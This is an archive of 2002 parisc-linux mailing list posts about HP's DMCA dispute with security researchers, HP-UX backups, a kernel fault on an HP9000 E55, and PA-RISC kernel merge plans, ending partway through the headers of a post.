To: HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 31 15:34:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from web12504.mail.yahoo.com (web12504.mail.yahoo.com [216.136.173.196])
	by dsl2.external.hp.com (Postfix) with SMTP id 762A3482A
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jul 2002 15:34:27 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12504.mail.yahoo.com via HTTP; Wed, 31 Jul 2002 14:34:26 PDT
In-Reply-To: <20020731152637.2C79F482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15701

--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> Alan Cox wrote:
> > http://news.com.com/2100-1023-947325.html
> 
> *sigh*. :^(
> 
> > I seem to have a pair of parisc boxes here. Perhaps someone at HP
> would
> > care to publically explain their actions, or chould kindly arrange
> for
> > the collection of their hardware ?
> 
> The battle inside HP has started. I'm not privy to details.
> And I don't want to hear them right now.
> I'm looking forward to the public explanation as well.
> 
> But this is a parisc-linux mailing list.  I don't want to turn it
> into
> a "Bash HP because Kent Ferson is an ..." forum.  Got to /. for that.
> 
> Or use the "Contact Us" link on http://www.hp.com.
> Please include links to relevant News articles and express your
> concerns in an manner as civil as Alan Cox has. Your email will
> get directed to the right "new HP" divisions.
> 
> thanks,
> grant


Being an HP employee (not a Compaq now HP employee) for the last 5
years I can't make any factual comments about this particular issue
since I work in the HP-UX realm.  True64 was a DEC product, then
Compaq, and now ours.  Although the legal portion of the merger is
complete, many of the opperations at HP and Compaq have remained
unchanged.  I still don't work on Compaq equipment and they don't work
on ours.  I will not ever work on Compaq/DEC/Tandom stuff.  Being one
company now on paper doesn't necessarily mean that the statements from
the article came from the original HP side.  Like I said earlier
though....mearly speculation.  There are many differences between the
way HP does business and the way the Compaq does business.  Eventually
it will be one in the same, but right now we are still in a major
transition period.  I'm not excusing the suits for their statements
because I don't believe that exposing a security hole is a bad thing.
Having had a Top Secret security clearance and worked at both the
Pentagon and the National Security Agency I am very aware of the need
for security.  I still would rather work for HP than Microsoft...LOL

derek

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com


From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HELP!
Date: Thu, 01 Aug 2002 14:56:07 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <3D494C07.1040200@freebel.net>
References: <3D478CE5.40107@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621584 11893 80.91.229.3 (22 Nov 2014 01:59:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  1 07:53:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 98463482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Aug 2002 07:53:54 -0600 (MDT)
Original-Received: from freebel.net (62.235.224.55) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D381E7800058AEB; Thu, 1 Aug 2002 15:53:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15702


Stephan Trajkoff wrote:
> Hello, I am using parisc linux at the moment.
> But I want to install linux on another HP machine.
> But I must backup all HP-UX filesystem. How I can make it?
> Thanks in advance
> 


With HP-UX > 10.20 the easiest way is to use 'Ignite' (see application 
CDs or web) with a famous cmd looking like 'make_recovery_tape'. With -A 
option it will build a boot tape that will allow you to quickly recover 
your system. (read carefully man page to be sure it match your need)

and fbackup/frestore for the rest



From - Thu Nov 08 21:23:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP attempts to silence security researchers
	using the DMCA
Date: 02 Aug 2002 00:14:02 -0600
Lines: 35
Approved: news@gmane.org
Message-ID: <1028268842.979.3.camel@beavis>
References: <1028123991.8510.66.camel@irongate.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621584 11896 80.91.229.3 (22 Nov 2014 01:59:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:44 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  2 00:14:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1AF5D482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Aug 2002 00:14:04 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id C281DBCF6; Fri,  2 Aug 2002 00:14:02 -0600 (MDT)
In-Reply-To: <1028123991.8510.66.camel@irongate.swansea.linux.org.uk>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15703

Alan,

It took a few days (huge amount of internal discussion within HP) but
it looks like HP has finally comes to it senses:

http://news.com.com/2100-1023-947740.html

Thanks to everyone inside and outside of HP that convinced HP management
to do the right thing (TM).

Thanks,

- Ryan


On Wed, 2002-07-31 at 07:59, Alan Cox wrote:
> 
> 
> http://news.com.com/2100-1023-947325.html
> 
> I seem to have a pair of parisc boxes here. Perhaps someone at HP would
> care to publically explain their actions, or chould kindly arrange for
> the collection of their hardware ?
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gert-Jan van der Stroom" <gertjan@nki.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unable to install debian 3.0 hppa nonus on HP9000 E55
Date: Fri, 2 Aug 2002 18:41:38 +0200
Lines: 102
Approved: news@gmane.org
Message-ID: <000001c23a43$796cf9c0$0a00a8c0@klingon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621585 11898 80.91.229.3 (22 Nov 2014 01:59:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:45 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  2 10:41:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from DS9.gjs.dyndns.org (81dyn37.com21.casema.net [213.17.100.37])
	by dsl2.external.hp.com (Postfix) with ESMTP id 683C6482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Aug 2002 10:41:29 -0600 (MDT)
Original-Received: from klingon (Klingon.gjs.dyndns.org [192.168.0.10])
	by DS9.gjs.dyndns.org (8.11.6/8.11.6) with ESMTP id g72GfR609118
	for <parisc-linux@parisc-linux.org>; Fri, 2 Aug 2002 18:41:27 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15704

Hi, I am trying to install linux on a HP9000 E55.
When I boot from cd, I get the following:

Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16
17:09:00 M
ST 2002
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00004831 00000481 00000000 00000000 07becb48 100000f0 00000004
00000072 00
000072
vers 0000000b
model 9000/856
Total Memory: 64 Mb
initrd: 13d65000-13fef286
initrd: reserving 03d65000-03fef286 (mem_max 04000000)
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: ramdisk_size=8192 root=/dev/ram console=ttyS0
TERM=vt102 pa
lo_kernel=0/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 95.84 BogoMIPS
Memory: 58864k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Java BC GSC+ Port (7) at 0xfffb8000 [56], versions 0x503, 0x0, 0xc
2. WB-96 Core BA (11) at 0xf0100000 [60], versions 0x11, 0x1, 0x81,
additional
addresses: 0xf010c000
3. WB-96 Core LAN (802.3) (10) at 0xf0107000 [60/6], versions 0x11, 0x1,
0x8a
4. WB-96 (E45) (0) at 0xfffbe000 [62], versions 0x483, 0x1, 0x4
5. Memory (1) at 0xfffbf000 [63], versions 0x25, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 96.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f010c000 registered
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Starting kswapd
Journalled Block Device driver loaded
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI en
abled
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x20028000 to 0x20028740:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x20028000 to 0x20028b80:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

--cut-- repeated 3 lines above

Dumping Stack from 0x20050000 to 0x20057bc0:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x20058000 to 0x20058000:

Kernel Fault: Code=15 regs=10058000 (Addr=20050004)

YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000011100001110 Not tainted
r00-03 00000000 10303810 10102494 20050000
r04-07 102b3000 20050000 20057bc0 0000002f
r08-11 10315fe4 10303b4c 10000080 10303810
r12-15 00000000 00000001 00000000 f0000368
r16-19 10057bc0 00000000 00000000 00000000
r20-23 10303810 00006e97 00000000 000003a8
r24-27 00000001 00000001 10303b00 102f0010
r28-31 00000030 00000000 10058000 00000040
sr0-3 00000000 00000000 00000000 00000000
sr4-7 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10101e60 10101e64
IIR: 0c681097 ISR: 00000000 IOR: 20050004
CPU: 0 CR30: 10028000 CR31: 103a0000
ORIG_R28: 00000000

Do you know the solution ?

Thanks in advance,

Gert-Jan van der Stroom



From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unable to install debian 3.0 hppa nonus on HP9000 E55
Date: Fri, 2 Aug 2002 19:10:22 +0200
Organization: ESIEE
Lines: 20
Approved: news@gmane.org
Message-ID: <20020802191022.0d65b606.varenet@esiee.fr>
References: <000001c23a43$796cf9c0$0a00a8c0@klingon>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621585 11906 80.91.229.3 (22 Nov 2014 01:59:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Gert-Jan van der Stroom" <gertjan@nki.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  2 11:10:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.zigoo.net (d072.dhcp212-198-140.noos.fr [212.198.140.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89446482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Aug 2002 11:10:33 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.5) with SMTP id g72HAM29019032;
	Fri, 2 Aug 2002 19:10:25 +0200
In-Reply-To: <000001c23a43$796cf9c0$0a00a8c0@klingon>
X-Mailer: Sylpheed version 0.8.1 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15705

On Fri, 2 Aug 2002 18:41:38 +0200
"Gert-Jan van der Stroom" <gertjan@nki.nl> wrote:

> Hi, I am trying to install linux on a HP9000 E55.
E-Class servers are only supported diskless at the moment, and with recent kernels.
You can use one of the unofficial lifimages *tagged -PDC-* found on:
http://pateam.esiee.fr/cd-images/lifimages/
or on
ftp://ftp.parisc-linux.org/cd-images/testing/auto-isos/

Also check the mailing list for Christoph Plattner's mails:
http://www.parisc-linux.org/mailing-lists/index.html
He is working on E-Class.


-- 
Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux-2.4.19 released
Date: Sat, 03 Aug 2002 18:56:29 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <3D4C275D.5010104@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621585 11909 80.91.229.3 (22 Nov 2014 01:59:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 11:54:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B6C54829
	for <parisc-linux@parisc-linux.org>; Sat,  3 Aug 2002 11:54:31 -0600 (MDT)
Original-Received: from freebel.net (62.235.227.232) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D381E7800081E5A; Sat, 3 Aug 2002 19:54:29 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15706

Hi all,

Now that Linux-2.4.19 is released what will be programm for pl?

Just to now how to be helpfull in right direction.

Joel



From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux-2.4.19 released
Date: 03 Aug 2002 20:24:12 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1028402652.1760.18.camel@irongate.swansea.linux.org.uk>
References: <3D4C275D.5010104@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621586 11911 80.91.229.3 (22 Nov 2014 01:59:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:46 +0000 (UTC)
Cc: HPPA List <parisc-linux@parisc-linux.org>
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 12:06:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1B60482B
	for <parisc-linux@parisc-linux.org>; Sat,  3 Aug 2002 12:06:16 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.2/8.11.6) with ESMTP id g73JODu6002597;
	Sat, 3 Aug 2002 20:24:14 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.2/8.12.2/Submit) id g73JOCLG002595;
	Sat, 3 Aug 2002 20:24:12 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3D4C275D.5010104@freebel.net>
X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15707

On Sat, 2002-08-03 at 19:56, Joel Soete wrote:
> Hi all,
> 
> Now that Linux-2.4.19 is released what will be programm for pl?
> 
> Just to now how to be helpfull in right direction.

I've sent Marcelo the main parisc diffs and asked him to merge them for
2.4.20-pre1. Thats basically all the stuff which is parisc unique. If
that works out ok then I can start feeding him the other stuff piece by
piece after its been tested in -ac



From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem with
 evms and jfs
Date: Sat, 03 Aug 2002 19:27:38 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <3D4C2EAA.4050508@freebel.net>
References: <1017854653.3cab3abdab486@webmail.tiscalinet.be> <20020403181337.GA3759@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621586 11914 80.91.229.3 (22 Nov 2014 01:59:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 12:24:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id B55E9482D
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Aug 2002 12:24:38 -0600 (MDT)
Original-Received: from freebel.net (62.235.227.232) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3816060007F2B7; Sat, 3 Aug 2002 20:24:35 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15708

Hey Randolph,

Randolph Chung wrote:
>>It seems harmless but not sure.
> 
> 
> well.... in general this is not a problem, however....
> 
> Fleedwood found a bug in the unaligned handler last week. it doesn't
> handle the pre/post increment cases of load and store, and there may be
> some cases where these messages will indicate the cause of errors.
> 
> I'll look into fixing this, but it might take some time.

I would just like to know if you already have the opportunity to have a 
look for a fix of this stuff (I know you are very busy this time and do 
not want to stress, just want to got news)

Thanks in advance,
	Joel




From - Thu Nov 08 21:24:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GDB-5.2.1
Date: Sat, 03 Aug 2002 19:33:13 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <3D4C2FF9.9080301@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621586 11916 80.91.229.3 (22 Nov 2014 01:59:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug  3 12:30:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC0374831
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Aug 2002 12:30:10 -0600 (MDT)
Original-Received: from freebel.net (62.235.227.232) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3816060007F390; Sat, 3 Aug 2002 20:30:09 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
